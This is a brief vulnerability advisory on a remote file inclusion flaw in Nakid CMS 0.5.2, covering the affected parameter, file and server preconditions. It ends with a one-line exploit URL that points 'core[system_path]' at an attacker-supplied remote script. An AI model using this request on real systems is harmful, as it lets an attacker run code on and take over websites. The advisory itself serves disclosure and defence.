Nakid CMS "core[system_path]" File Inclusion Vulnerability

                                                A vulnerability has been discovered in Nakid CMS, which can be exploited by malicious people to compromise a vulnerable system.

Input passed to the "core[system_path]" parameter in modules/catalog/upload_photo.php is not properly verified before being used to include files. This can be exploited to include arbitrary files from local or external resources.

Successful exploitation requires that "magic_quotes_gpc" is disabled and "register_globals" is enabled.

The vulnerability is confirmed in version 0.5.2. Other versions may also be affected.

[~] Nakid CMS 0.5.2 Remote Include Exploit
[~] Found by sh00t0ut
[~] Expl: http://[victim]/modules/catalog/upload_photo.php?core[system_path]=[evil script]